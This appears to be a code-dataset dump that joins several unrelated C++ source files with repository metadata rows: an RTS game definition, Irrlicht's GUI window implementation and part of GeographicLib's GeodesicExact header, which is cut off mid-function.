std::copy_n(std::istream_iterator<int>(std::cin), n, std::begin(arr));
std::cout << solve(0, n-1, arr, dp) << std::endl;
}
return 0;
}
| 29.465347 | 190 | 0.569556 | ravirathee |
e765bf4fd1639e118830c141a0ffb5137baf28e3 | 732 | hpp | C++ | Framework/Common/MemoryManager.hpp | lishaojiang/GameEngineFromScratch | 7769d3916a9ffabcfdaddeba276fdf964d8a86ee | [
"MIT"
] | 1,217 | 2017-08-18T02:41:11.000Z | 2022-03-30T01:48:46.000Z | Framework/Common/MemoryManager.hpp | lishaojiang/GameEngineFromScratch | 7769d3916a9ffabcfdaddeba276fdf964d8a86ee | [
"MIT"
] | 16 | 2017-09-05T15:04:37.000Z | 2021-09-09T13:59:38.000Z | Framework/Common/MemoryManager.hpp | lishaojiang/GameEngineFromScratch | 7769d3916a9ffabcfdaddeba276fdf964d8a86ee | [
"MIT"
] | 285 | 2017-08-18T04:53:55.000Z | 2022-03-30T00:02:15.000Z | #pragma once
#include <map>
#include <new>
#include <ostream>
#include "IMemoryManager.hpp"
#include "portable.hpp"
namespace My {
ENUM(MemoryType){CPU = "CPU"_i32, GPU = "GPU"_i32};
std::ostream& operator<<(std::ostream& out, MemoryType type);
class MemoryManager : _implements_ IMemoryManager {
public:
~MemoryManager() override = default;
int Initialize() override;
void Finalize() override;
void Tick() override;
void* AllocatePage(size_t size) override;
void FreePage(void* p) override;
protected:
struct MemoryAllocationInfo {
size_t PageSize;
MemoryType PageMemoryType;
};
std::map<void*, MemoryAllocationInfo> m_mapMemoryAllocationInfo;
};
} // namespace My
| 22.181818 | 68 | 0.695355 | lishaojiang |
e768d15bd3912d47087f097d20c14c0bbd35e6e8 | 2,692 | cc | C++ | rts/game_MC/gamedef.cc | jedirv/ELF-OSU | 98bb2a68bbab5b6ac8925222a82738809db41f7d | [
"BSD-3-Clause"
] | null | null | null | rts/game_MC/gamedef.cc | jedirv/ELF-OSU | 98bb2a68bbab5b6ac8925222a82738809db41f7d | [
"BSD-3-Clause"
] | null | null | null | rts/game_MC/gamedef.cc | jedirv/ELF-OSU | 98bb2a68bbab5b6ac8925222a82738809db41f7d | [
"BSD-3-Clause"
] | null | null | null | /**
* Copyright (c) 2017-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
#include "../engine/gamedef.h"
#include "../engine/game_env.h"
#include "../engine/rule_actor.h"
#include "../engine/cmd.gen.h"
#include "../engine/cmd_specific.gen.h"
#include "cmd_specific.gen.h"
int GameDef::GetNumUnitType() {
return NUM_MINIRTS_UNITTYPE;
}
int GameDef::GetNumAction() {
return NUM_AISTATE;
}
bool GameDef::IsUnitTypeBuilding(UnitType t) const{
return (t == BASE) || (t == RESOURCE) || (t == BARRACKS);
}
bool GameDef::HasBase() const{ return true; }
bool GameDef::CheckAddUnit(RTSMap *_map, UnitType, const PointF& p) const{
return _map->CanPass(p, INVALID);
}
void GameDef::InitUnits() {
_units.assign(GetNumUnitType(), UnitTemplate());
_units[RESOURCE] = _C(0, 1000, 1000, 0, 0, 0, 0, vector<int>{0, 0, 0, 0}, vector<CmdType>{}, ATTR_INVULNERABLE);
_units[WORKER] = _C(50, 50, 0, 0.1, 2, 1, 3, vector<int>{0, 10, 40, 40}, vector<CmdType>{MOVE, ATTACK, BUILD, GATHER});
_units[MELEE_ATTACKER] = _C(100, 100, 1, 0.1, 15, 1, 3, vector<int>{0, 15, 0, 0}, vector<CmdType>{MOVE, ATTACK});
_units[RANGE_ATTACKER] = _C(100, 50, 0, 0.2, 10, 5, 5, vector<int>{0, 10, 0, 0}, vector<CmdType>{MOVE, ATTACK});
_units[BARRACKS] = _C(200, 200, 1, 0.0, 0, 0, 5, vector<int>{0, 0, 0, 50}, vector<CmdType>{BUILD});
_units[BASE] = _C(500, 500, 2, 0.0, 0, 0, 5, {0, 0, 0, 50}, vector<CmdType>{BUILD});
reg_engine();
reg_engine_specific();
reg_minirts_specific();
}
vector<pair<CmdBPtr, int> > GameDef::GetInitCmds(const RTSGameOptions&) const{
vector<pair<CmdBPtr, int> > init_cmds;
init_cmds.push_back(make_pair(CmdBPtr(new CmdGenerateMap(INVALID, 0, 200)), 1));
init_cmds.push_back(make_pair(CmdBPtr(new CmdGameStart(INVALID)), 2));
init_cmds.push_back(make_pair(CmdBPtr(new CmdGenerateUnit(INVALID)), 3));
return init_cmds;
}
PlayerId GameDef::CheckWinner(const GameEnv& env, bool /*exceeds_max_tick*/) const {
return env.CheckBase(BASE);
}
void GameDef::CmdOnDeadUnitImpl(GameEnv* env, CmdReceiver* receiver, UnitId /*_id*/, UnitId _target) const{
Unit *target = env->GetUnit(_target);
if (target == nullptr) return;
receiver->SendCmd(CmdIPtr(new CmdRemove(_target)));
}
/*
bool GameDef::ActByStateFunc(RuleActor rule_actor, const GameEnv& env, const vector<int>& state, string *s, AssignedCmds *cmds) const {
return rule_actor.ActByState(env, state, s, cmds);
}
*/
| 37.388889 | 135 | 0.682392 | jedirv |
e76c507453a5e146bbc868a0816ff3dffce74df2 | 10,074 | cpp | C++ | source/Irrlicht/CGUIWindow.cpp | arch-jslin/Irrlicht | 56121a167cacf1131182616b6d9a41ce825f9402 | [
"IJG"
] | 2 | 2018-06-18T16:49:10.000Z | 2021-03-10T11:10:47.000Z | source/Irrlicht/CGUIWindow.cpp | arch-jslin/Irrlicht | 56121a167cacf1131182616b6d9a41ce825f9402 | [
"IJG"
] | null | null | null | source/Irrlicht/CGUIWindow.cpp | arch-jslin/Irrlicht | 56121a167cacf1131182616b6d9a41ce825f9402 | [
"IJG"
] | null | null | null | // Copyright (C) 2002-2009 Nikolaus Gebhardt
// This file is part of the "Irrlicht Engine".
// For conditions of distribution and use, see copyright notice in irrlicht.h
#include "CGUIWindow.h"
#ifdef _IRR_COMPILE_WITH_GUI_
#include "IGUISkin.h"
#include "IGUIEnvironment.h"
#include "IVideoDriver.h"
#include "IGUIButton.h"
#include "IGUIFont.h"
#include "IGUIFontBitmap.h"
namespace irr
{
namespace gui
{
//! constructor
CGUIWindow::CGUIWindow(IGUIEnvironment* environment, IGUIElement* parent, s32 id, core::rect<s32> rectangle)
: IGUIWindow(environment, parent, id, rectangle), Dragging(false), IsDraggable(true), DrawBackground(true), DrawTitlebar(true), IsActive(false)
{
#ifdef _DEBUG
setDebugName("CGUIWindow");
#endif
IGUISkin* skin = 0;
if (environment)
skin = environment->getSkin();
IGUISpriteBank* sprites = 0;
video::SColor color(255,255,255,255);
s32 buttonw = 15;
if (skin)
{
buttonw = skin->getSize(EGDS_WINDOW_BUTTON_WIDTH);
sprites = skin->getSpriteBank();
color = skin->getColor(EGDC_WINDOW_SYMBOL);
}
s32 posx = RelativeRect.getWidth() - buttonw - 4;
CloseButton = Environment->addButton(core::rect<s32>(posx, 3, posx + buttonw, 3 + buttonw), this, -1,
L"", skin ? skin->getDefaultText(EGDT_WINDOW_CLOSE) : L"Close" );
CloseButton->setSubElement(true);
CloseButton->setTabStop(false);
CloseButton->setAlignment(EGUIA_LOWERRIGHT, EGUIA_LOWERRIGHT, EGUIA_UPPERLEFT, EGUIA_UPPERLEFT);
if (sprites)
{
CloseButton->setSpriteBank(sprites);
CloseButton->setSprite(EGBS_BUTTON_UP, skin->getIcon(EGDI_WINDOW_CLOSE), color);
CloseButton->setSprite(EGBS_BUTTON_DOWN, skin->getIcon(EGDI_WINDOW_CLOSE), color);
}
posx -= buttonw + 2;
RestoreButton = Environment->addButton(core::rect<s32>(posx, 3, posx + buttonw, 3 + buttonw), this, -1,
L"", skin ? skin->getDefaultText(EGDT_WINDOW_RESTORE) : L"Restore" );
RestoreButton->setVisible(false);
RestoreButton->setSubElement(true);
RestoreButton->setTabStop(false);
RestoreButton->setAlignment(EGUIA_LOWERRIGHT, EGUIA_LOWERRIGHT, EGUIA_UPPERLEFT, EGUIA_UPPERLEFT);
if (sprites)
{
RestoreButton->setSpriteBank(sprites);
RestoreButton->setSprite(EGBS_BUTTON_UP, skin->getIcon(EGDI_WINDOW_RESTORE), color);
RestoreButton->setSprite(EGBS_BUTTON_DOWN, skin->getIcon(EGDI_WINDOW_RESTORE), color);
}
posx -= buttonw + 2;
MinButton = Environment->addButton(core::rect<s32>(posx, 3, posx + buttonw, 3 + buttonw), this, -1,
L"", skin ? skin->getDefaultText(EGDT_WINDOW_MINIMIZE) : L"Minimize" );
MinButton->setVisible(false);
MinButton->setSubElement(true);
MinButton->setTabStop(false);
MinButton->setAlignment(EGUIA_LOWERRIGHT, EGUIA_LOWERRIGHT, EGUIA_UPPERLEFT, EGUIA_UPPERLEFT);
if (sprites)
{
MinButton->setSpriteBank(sprites);
MinButton->setSprite(EGBS_BUTTON_UP, skin->getIcon(EGDI_WINDOW_MINIMIZE), color);
MinButton->setSprite(EGBS_BUTTON_DOWN, skin->getIcon(EGDI_WINDOW_MINIMIZE), color);
}
MinButton->grab();
RestoreButton->grab();
CloseButton->grab();
// this element is a tab group
setTabGroup(true);
setTabStop(true);
setTabOrder(-1);
updateClientRect();
}
//! destructor
CGUIWindow::~CGUIWindow()
{
if (MinButton)
MinButton->drop();
if (RestoreButton)
RestoreButton->drop();
if (CloseButton)
CloseButton->drop();
}
//! called if an event happened.
bool CGUIWindow::OnEvent(const SEvent& event)
{
if (IsEnabled)
{
switch(event.EventType)
{
case EET_GUI_EVENT:
if (event.GUIEvent.EventType == EGET_ELEMENT_FOCUS_LOST)
{
Dragging = false;
IsActive = false;
}
else
if (event.GUIEvent.EventType == EGET_ELEMENT_FOCUSED)
{
if (Parent && ((event.GUIEvent.Caller == this) || isMyChild(event.GUIEvent.Caller)))
{
Parent->bringToFront(this);
IsActive = true;
}
else
{
IsActive = false;
}
}
else
if (event.GUIEvent.EventType == EGET_BUTTON_CLICKED)
{
if (event.GUIEvent.Caller == CloseButton)
{
if (Parent)
{
// send close event to parent
SEvent e;
e.EventType = EET_GUI_EVENT;
e.GUIEvent.Caller = this;
e.GUIEvent.Element = 0;
e.GUIEvent.EventType = EGET_ELEMENT_CLOSED;
// if the event was not absorbed
if (!Parent->OnEvent(e))
remove();
return true;
}
else
{
remove();
return true;
}
}
}
break;
case EET_MOUSE_INPUT_EVENT:
switch(event.MouseInput.Event)
{
case EMIE_LMOUSE_PRESSED_DOWN:
DragStart.X = event.MouseInput.X;
DragStart.Y = event.MouseInput.Y;
Dragging = IsDraggable;
if (Parent)
Parent->bringToFront(this);
return true;
case EMIE_LMOUSE_LEFT_UP:
Dragging = false;
return true;
case EMIE_MOUSE_MOVED:
if (!event.MouseInput.isLeftPressed())
Dragging = false;
if (Dragging)
{
// gui window should not be dragged outside its parent
if (Parent &&
(event.MouseInput.X < Parent->getAbsolutePosition().UpperLeftCorner.X +1 ||
event.MouseInput.Y < Parent->getAbsolutePosition().UpperLeftCorner.Y +1 ||
event.MouseInput.X > Parent->getAbsolutePosition().LowerRightCorner.X -1 ||
event.MouseInput.Y > Parent->getAbsolutePosition().LowerRightCorner.Y -1))
return true;
move(core::position2d<s32>(event.MouseInput.X - DragStart.X, event.MouseInput.Y - DragStart.Y));
DragStart.X = event.MouseInput.X;
DragStart.Y = event.MouseInput.Y;
return true;
}
break;
default:
break;
}
default:
break;
}
}
return IGUIElement::OnEvent(event);
}
//! Updates the absolute position.
void CGUIWindow::updateAbsolutePosition()
{
IGUIElement::updateAbsolutePosition();
}
//! draws the element and its children
void CGUIWindow::draw()
{
if (IsVisible)
{
IGUISkin* skin = Environment->getSkin();
// update each time because the skin is allowed to change this always.
updateClientRect();
core::rect<s32> rect = AbsoluteRect;
// draw body fast
if (DrawBackground)
{
rect = skin->draw3DWindowBackground(this, DrawTitlebar,
skin->getColor(IsActive ? EGDC_ACTIVE_BORDER : EGDC_INACTIVE_BORDER),
AbsoluteRect, &AbsoluteClippingRect);
if (DrawTitlebar && Text.size())
{
rect.UpperLeftCorner.X += skin->getSize(EGDS_TITLEBARTEXT_DISTANCE_X);
rect.UpperLeftCorner.Y += skin->getSize(EGDS_TITLEBARTEXT_DISTANCE_Y);
rect.LowerRightCorner.X -= skin->getSize(EGDS_WINDOW_BUTTON_WIDTH) + 5;
IGUIFont* font = skin->getFont(EGDF_WINDOW);
if (font)
{
font->draw(Text.c_str(), rect,
skin->getColor(IsActive ? EGDC_ACTIVE_CAPTION:EGDC_INACTIVE_CAPTION),
false, true, &AbsoluteClippingRect);
}
}
}
}
IGUIElement::draw();
}
//! Returns pointer to the close button
IGUIButton* CGUIWindow::getCloseButton() const
{
return CloseButton;
}
//! Returns pointer to the minimize button
IGUIButton* CGUIWindow::getMinimizeButton() const
{
return MinButton;
}
//! Returns pointer to the maximize button
IGUIButton* CGUIWindow::getMaximizeButton() const
{
return RestoreButton;
}
//! Returns true if the window is draggable, false if not
bool CGUIWindow::isDraggable() const
{
return IsDraggable;
}
//! Sets whether the window is draggable
void CGUIWindow::setDraggable(bool draggable)
{
IsDraggable = draggable;
if (Dragging && !IsDraggable)
Dragging = false;
}
//! Set if the window background will be drawn
void CGUIWindow::setDrawBackground(bool draw)
{
DrawBackground = draw;
}
//! Get if the window background will be drawn
bool CGUIWindow::getDrawBackground() const
{
return DrawBackground;
}
//! Set if the window titlebar will be drawn
void CGUIWindow::setDrawTitlebar(bool draw)
{
DrawTitlebar = draw;
}
//! Get if the window titlebar will be drawn
bool CGUIWindow::getDrawTitlebar() const
{
return DrawTitlebar;
}
void CGUIWindow::updateClientRect()
{
if (! DrawBackground )
{
ClientRect = core::rect<s32>(0,0, AbsoluteRect.getWidth(), AbsoluteRect.getHeight());
return;
}
IGUISkin* skin = Environment->getSkin();
skin->draw3DWindowBackground(this, DrawTitlebar,
skin->getColor(IsActive ? EGDC_ACTIVE_BORDER : EGDC_INACTIVE_BORDER),
AbsoluteRect, &AbsoluteClippingRect, &ClientRect);
ClientRect -= AbsoluteRect.UpperLeftCorner;
}
//! Returns the rectangle of the drawable area (without border, without titlebar and without scrollbars)
core::rect<s32> CGUIWindow::getClientRect() const
{
return ClientRect;
}
//! Writes attributes of the element.
void CGUIWindow::serializeAttributes(io::IAttributes* out, io::SAttributeReadWriteOptions* options=0) const
{
IGUIWindow::serializeAttributes(out,options);
out->addBool("IsDraggable", IsDraggable);
out->addBool("DrawBackground", DrawBackground);
out->addBool("DrawTitlebar", DrawTitlebar);
// Currently we can't just serialize attributes of sub-elements.
// To do this we either
// a) allow further serialization after attribute serialiation (second function, callback or event)
// b) add an IGUIElement attribute
// c) extend the attribute system to allow attributes to have sub-attributes
// We just serialize the most important info for now until we can do one of the above solutions.
out->addBool("IsCloseVisible", CloseButton->isVisible());
out->addBool("IsMinVisible", MinButton->isVisible());
out->addBool("IsRestoreVisible", RestoreButton->isVisible());
}
//! Reads attributes of the element
void CGUIWindow::deserializeAttributes(io::IAttributes* in, io::SAttributeReadWriteOptions* options=0)
{
IGUIWindow::deserializeAttributes(in,options);
Dragging = false;
IsActive = false;
IsDraggable = in->getAttributeAsBool("IsDraggable");
DrawBackground = in->getAttributeAsBool("DrawBackground");
DrawTitlebar = in->getAttributeAsBool("DrawTitlebar");
CloseButton->setVisible(in->getAttributeAsBool("IsCloseVisible"));
MinButton->setVisible(in->getAttributeAsBool("IsMinVisible"));
RestoreButton->setVisible(in->getAttributeAsBool("IsRestoreVisible"));
updateClientRect();
}
} // end namespace gui
} // end namespace irr
#endif // _IRR_COMPILE_WITH_GUI_
| 25.69898 | 143 | 0.718384 | arch-jslin |
e76daee4cd74244702e378754b9b0b1046fc96c0 | 34,438 | hpp | C++ | gtsam/3rdparty/GeographicLib/include/GeographicLib/GeodesicExact.hpp | karamach/gtsam | 35f9b710163a1d14d8dc4fcf50b8dce6e0bf7e5b | [
"BSD-3-Clause"
] | 105 | 2017-12-02T14:39:49.000Z | 2022-02-19T18:20:25.000Z | trunk/gtsam/3rdparty/GeographicLib/include/GeographicLib/GeodesicExact.hpp | shaolinbit/PPP-BayesTree | 6f469775277a1a33447bf4c19603c796c2c63c75 | [
"MIT"
] | 5 | 2018-09-04T15:15:59.000Z | 2020-09-08T08:51:02.000Z | trunk/gtsam/3rdparty/GeographicLib/include/GeographicLib/GeodesicExact.hpp | shaolinbit/PPP-BayesTree | 6f469775277a1a33447bf4c19603c796c2c63c75 | [
"MIT"
] | 66 | 2015-06-01T11:22:38.000Z | 2022-02-18T11:03:57.000Z | /**
* \file GeodesicExact.hpp
* \brief Header for GeographicLib::GeodesicExact class
*
* Copyright (c) Charles Karney (2012-2013) <charles@karney.com> and licensed
* under the MIT/X11 License. For more information, see
* http://geographiclib.sourceforge.net/
**********************************************************************/
#if !defined(GEOGRAPHICLIB_GEODESICEXACT_HPP)
#define GEOGRAPHICLIB_GEODESICEXACT_HPP 1
#include <GeographicLib/Constants.hpp>
#include <GeographicLib/EllipticFunction.hpp>
#if !defined(GEOGRAPHICLIB_GEODESICEXACT_ORDER)
/**
* The order of the expansions used by GeodesicExact.
**********************************************************************/
# define GEOGRAPHICLIB_GEODESICEXACT_ORDER 30
#endif
namespace GeographicLib {
class GeodesicLineExact;
/**
* \brief Exact geodesic calculations
*
* The equations for geodesics on an ellipsoid can be expressed in terms of
* incomplete elliptic integrals. The Geodesic class expands these integrals
* in a series in the flattening \e f and this provides an accurate solution
* for \e f ∈ [-0.01, 0.01]. The GeodesicExact class computes the
* ellitpic integrals directly and so provides a solution which is valid for
* all \e f. However, in practice, its use should be limited to about \e
* b/\e a ∈ [0.01, 100] or \e f ∈ [-99, 0.99].
*
* For the WGS84 ellipsoid, these classes are 2--3 times \e slower than the
* series solution and 2--3 times \e less \e accurate (because it's less easy
* to control round-off errors with the elliptic integral formulation); i.e.,
* the error is about 40 nm (40 nanometers) instead of 15 nm. However the
* error in the series solution scales as <i>f</i><sup>7</sup> while the
* error in the elliptic integral solution depends weakly on \e f. If the
* quarter meridian distance is 10000 km and the ratio \e b/\e a = 1 −
* \e f is varied then the approximate maximum error (expressed as a
* distance) is <pre>
* 1 - f error (nm)
* 1/128 387
* 1/64 345
* 1/32 269
* 1/16 210
* 1/8 115
* 1/4 69
* 1/2 36
* 1 15
* 2 25
* 4 96
* 8 318
* 16 985
* 32 2352
* 64 6008
* 128 19024
* </pre>
*
* The computation of the area in these classes is via a 30th order series.
* This gives accurate results for \e b/\e a ∈ [1/2, 2]; the accuracy is
* about 8 decimal digits for \e b/\e a ∈ [1/4, 4].
*
* See \ref geodellip for the formulation. See the documentation on the
* Geodesic class for additional information on the geodesic problems.
*
* Example of use:
* \include example-GeodesicExact.cpp
*
* <a href="GeodSolve.1.html">GeodSolve</a> is a command-line utility
* providing access to the functionality of GeodesicExact and
* GeodesicLineExact (via the -E option).
**********************************************************************/
class GEOGRAPHICLIB_EXPORT GeodesicExact {
private:
typedef Math::real real;
friend class GeodesicLineExact;
static const int nC4_ = GEOGRAPHICLIB_GEODESICEXACT_ORDER;
static const int nC4x_ = (nC4_ * (nC4_ + 1)) / 2;
static const unsigned maxit1_ = 20;
static const unsigned maxit2_ = maxit1_ +
std::numeric_limits<real>::digits + 10;
static const real tiny_;
static const real tol0_;
static const real tol1_;
static const real tol2_;
static const real tolb_;
static const real xthresh_;
enum captype {
CAP_NONE = 0U,
CAP_E = 1U<<0,
// Skip 1U<<1 for compatibility with Geodesic (not required)
CAP_D = 1U<<2,
CAP_H = 1U<<3,
CAP_C4 = 1U<<4,
CAP_ALL = 0x1FU,
OUT_ALL = 0x7F80U,
};
static real CosSeries(real sinx, real cosx, const real c[], int n)
throw();
static inline real AngRound(real x) throw() {
// The makes the smallest gap in x = 1/16 - nextafter(1/16, 0) = 1/2^57
// for reals = 0.7 pm on the earth if x is an angle in degrees. (This
// is about 1000 times more resolution than we get with angles around 90
// degrees.) We use this to avoid having to deal with near singular
// cases when x is non-zero but tiny (e.g., 1.0e-200).
const real z = 1/real(16);
volatile real y = std::abs(x);
// The compiler mustn't "simplify" z - (z - y) to y
y = y < z ? z - (z - y) : y;
return x < 0 ? -y : y;
}
static inline void SinCosNorm(real& sinx, real& cosx) throw() {
real r = Math::hypot(sinx, cosx);
sinx /= r;
cosx /= r;
}
static real Astroid(real x, real y) throw();
real _a, _f, _f1, _e2, _ep2, _n, _b, _c2, _etol2;
real _C4x[nC4x_];
void Lengths(const EllipticFunction& E,
real sig12,
real ssig1, real csig1, real dn1,
real ssig2, real csig2, real dn2,
real cbet1, real cbet2,
real& s12s, real& m12a, real& m0,
bool scalep, real& M12, real& M21) const throw();
real InverseStart(EllipticFunction& E,
real sbet1, real cbet1, real dn1,
real sbet2, real cbet2, real dn2,
real lam12,
real& salp1, real& calp1,
real& salp2, real& calp2, real& dnm) const throw();
real Lambda12(real sbet1, real cbet1, real dn1,
real sbet2, real cbet2, real dn2,
real salp1, real calp1,
real& salp2, real& calp2, real& sig12,
real& ssig1, real& csig1, real& ssig2, real& csig2,
EllipticFunction& E,
real& omg12, bool diffp, real& dlam12)
const throw();
// These are Maxima generated functions to provide series approximations to
// the integrals for the area.
void C4coeff() throw();
void C4f(real k2, real c[]) const throw();
public:
/**
* Bit masks for what calculations to do. These masks do double duty.
* They signify to the GeodesicLineExact::GeodesicLineExact constructor and
* to GeodesicExact::Line what capabilities should be included in the
* GeodesicLineExact object. They also specify which results to return in
* the general routines GeodesicExact::GenDirect and
* GeodesicExact::GenInverse routines. GeodesicLineExact::mask is a
* duplication of this enum.
**********************************************************************/
enum mask {
/**
* No capabilities, no output.
* @hideinitializer
**********************************************************************/
NONE = 0U,
/**
* Calculate latitude \e lat2. (It's not necessary to include this as a
* capability to GeodesicLineExact because this is included by default.)
* @hideinitializer
**********************************************************************/
LATITUDE = 1U<<7 | CAP_NONE,
/**
* Calculate longitude \e lon2.
* @hideinitializer
**********************************************************************/
LONGITUDE = 1U<<8 | CAP_H,
/**
* Calculate azimuths \e azi1 and \e azi2. (It's not necessary to
* include this as a capability to GeodesicLineExact because this is
* included by default.)
* @hideinitializer
**********************************************************************/
AZIMUTH = 1U<<9 | CAP_NONE,
/**
* Calculate distance \e s12.
* @hideinitializer
**********************************************************************/
DISTANCE = 1U<<10 | CAP_E,
/**
* Allow distance \e s12 to be used as input in the direct geodesic
* problem.
* @hideinitializer
**********************************************************************/
DISTANCE_IN = 1U<<11 | CAP_E,
/**
* Calculate reduced length \e m12.
* @hideinitializer
**********************************************************************/
REDUCEDLENGTH = 1U<<12 | CAP_D,
/**
* Calculate geodesic scales \e M12 and \e M21.
* @hideinitializer
**********************************************************************/
GEODESICSCALE = 1U<<13 | CAP_D,
/**
* Calculate area \e S12.
* @hideinitializer
**********************************************************************/
AREA = 1U<<14 | CAP_C4,
/**
* All capabilities, calculate everything.
* @hideinitializer
**********************************************************************/
ALL = OUT_ALL| CAP_ALL,
};
/** \name Constructor
**********************************************************************/
///@{
/**
* Constructor for a ellipsoid with
*
* @param[in] a equatorial radius (meters).
* @param[in] f flattening of ellipsoid. Setting \e f = 0 gives a sphere.
* Negative \e f gives a prolate ellipsoid. If \e f > 1, set flattening
* to 1/\e f.
* @exception GeographicErr if \e a or (1 − \e f ) \e a is not
* positive.
**********************************************************************/
GeodesicExact(real a, real f);
///@}
/** \name Direct geodesic problem specified in terms of distance.
**********************************************************************/
///@{
/**
* Perform the direct geodesic calculation where the length of the geodesic
* is specified in terms of distance.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] s12 distance between point 1 and point 2 (meters); it can be
* signed.
* @param[out] lat2 latitude of point 2 (degrees).
* @param[out] lon2 longitude of point 2 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
* @return \e a12 arc length of between point 1 and point 2 (degrees).
*
* \e lat1 should be in the range [−90°, 90°]; \e lon1 and \e
* azi1 should be in the range [−540°, 540°). The values of
* \e lon2 and \e azi2 returned are in the range [−180°,
* 180°).
*
* If either point is at a pole, the azimuth is defined by keeping the
* longitude fixed, writing \e lat = ±(90° − ε),
* and taking the limit ε → 0+. An arc length greater that
* 180° signifies a geodesic which is not a shortest path. (For a
* prolate ellipsoid, an additional condition is necessary for a shortest
* path: the longitudinal extent must not exceed of 180°.)
*
* The following functions are overloaded versions of GeodesicExact::Direct
* which omit some of the output parameters. Note, however, that the arc
* length is always computed and returned as the function value.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2,
real& m12, real& M12, real& M21, real& S12)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE | AREA,
lat2, lon2, azi2, t, m12, M12, M21, S12);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE,
lat2, lon2, t, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH,
lat2, lon2, azi2, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2, real& m12)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH | REDUCEDLENGTH,
lat2, lon2, azi2, t, m12, t, t, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2,
real& M12, real& M21)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH | GEODESICSCALE,
lat2, lon2, azi2, t, t, M12, M21, t);
}
/**
* See the documentation for GeodesicExact::Direct.
**********************************************************************/
Math::real Direct(real lat1, real lon1, real azi1, real s12,
real& lat2, real& lon2, real& azi2,
real& m12, real& M12, real& M21)
const throw() {
real t;
return GenDirect(lat1, lon1, azi1, false, s12,
LATITUDE | LONGITUDE | AZIMUTH |
REDUCEDLENGTH | GEODESICSCALE,
lat2, lon2, azi2, t, m12, M12, M21, t);
}
///@}
/** \name Direct geodesic problem specified in terms of arc length.
**********************************************************************/
///@{
/**
* Perform the direct geodesic calculation where the length of the geodesic
* is specified in terms of arc length.
*
* @param[in] lat1 latitude of point 1 (degrees).
* @param[in] lon1 longitude of point 1 (degrees).
* @param[in] azi1 azimuth at point 1 (degrees).
* @param[in] a12 arc length between point 1 and point 2 (degrees); it can
* be signed.
* @param[out] lat2 latitude of point 2 (degrees).
* @param[out] lon2 longitude of point 2 (degrees).
* @param[out] azi2 (forward) azimuth at point 2 (degrees).
* @param[out] s12 distance between point 1 and point 2 (meters).
* @param[out] m12 reduced length of geodesic (meters).
* @param[out] M12 geodesic scale of point 2 relative to point 1
* (dimensionless).
* @param[out] M21 geodesic scale of point 1 relative to point 2
* (dimensionless).
* @param[out] S12 area under the geodesic (meters<sup>2</sup>).
*
* \e lat1 should be in the range [−90°, 90°]; \e lon1 and \e
* azi1 should be in the range [−540°, 540°). The values of
* \e lon2 and \e azi2 returned are in the range [−180°,
* 180°).
*
* If either point is at a pole, the azimuth is defined by keeping the
* longitude fixed, writing \e lat = ±(90° − ε),
* and taking the limit ε → 0+. An arc length greater that
* 180° signifies a geodesic which is not a shortest path. (For a
* prolate ellipsoid, an additional condition is necessary for a shortest
* path: the longitudinal extent must not exceed of 180°.)
*
* The following functions are overloaded versions of GeodesicExact::Direct
* which omit some of the output parameters.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12,
real& m12, real& M12, real& M21, real& S12)
const throw() {
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE |
REDUCEDLENGTH | GEODESICSCALE | AREA,
lat2, lon2, azi2, s12, m12, M12, M21, S12);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE,
lat2, lon2, t, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH,
lat2, lon2, azi2, t, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2, real& s12)
const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
LATITUDE | LONGITUDE | AZIMUTH | DISTANCE,
lat2, lon2, azi2, s12, t, t, t, t);
}
/**
* See the documentation for GeodesicExact::ArcDirect.
**********************************************************************/
void ArcDirect(real lat1, real lon1, real azi1, real a12,
real& lat2, real& lon2, real& azi2,
real& s12, real& m12) const throw() {
real t;
GenDirect(lat1, lon1, azi1, true, a12,
